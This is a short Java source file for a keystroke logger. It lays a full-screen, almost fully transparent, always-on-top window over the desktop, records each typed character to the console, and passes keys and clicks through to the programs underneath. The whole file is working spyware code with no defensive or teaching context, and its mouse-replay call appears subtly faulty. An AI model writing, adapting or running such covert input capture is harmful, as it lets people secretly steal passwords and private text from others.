KeystrokeLogger

import com.sun.awt.AWTUtilities;
import java.awt.Dimension;
import java.awt.Robot;
import java.awt.Toolkit;
import java.awt.event.KeyEvent;
import java.awt.event.KeyListener;
import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent;
import javax.swing.JFrame;

/**
 * Logs the keystroke.
 *
 * @author Yarukinasu
 */
public final class KeystrokeLogger
{
    /**
     * @param args the command-line arguments
     */
    public static void main(String[] args)
    {
        try {
            if (AWTUtilities.isTranslucencySupported(AWTUtilities.Translucency.TRANSLUCENT)) {
                final JFrame frame = new JFrame();
                final Robot robot = new Robot();

                frame.addKeyListener(new KeyListener()
                {
                    @Override
                    public void keyPressed(KeyEvent e)
                    {
                        frame.setVisible(false);
                        sleep();
                        robot.keyPress(e.getKeyCode());
                        sleep();
                        frame.setVisible(true);
                    }

                    @Override
                    public void keyReleased(KeyEvent e)
                    {
                        frame.setVisible(false);
                        sleep();
                        robot.keyRelease(e.getKeyCode());
                        sleep();
                        frame.setVisible(true);
                    }

                    @Override
                    public void keyTyped(KeyEvent e)
                    {
                        // print the key
                        System.out.print(e.getKeyChar());
                    }
                });

                frame.addMouseListener(new MouseAdapter()
                {
                    @Override
                    public void mouseClicked(MouseEvent e)
                    {
                        frame.setVisible(false);
                        sleep();
                        robot.mousePress(e.getModifiers());
                        sleep();
                        robot.mouseRelease(e.getModifiers());
                        sleep();
                        frame.setVisible(true);
                    }
                });

                frame.setAlwaysOnTop(true);

                // move to the top left, and set the size to the size of the screen
                final Dimension dimension = Toolkit.getDefaultToolkit().getScreenSize();
                frame.setBounds(0, 0, (int) dimension.getWidth(), (int) dimension.getHeight());

                frame.setVisible(true);

                // sets the transparency to almost invisible
                AWTUtilities.setWindowOpacity(frame, 0.01f);
            }
        }
        catch (final Exception ex) {
            ex.printStackTrace();
        }
    }

    /** Sleeps the thread for 25 milliseconds. */
    private static void sleep()
    {
        try {
            Thread.sleep(25);
        }
        catch (InterruptedException ex) {
            ex.printStackTrace();
        }
    }
}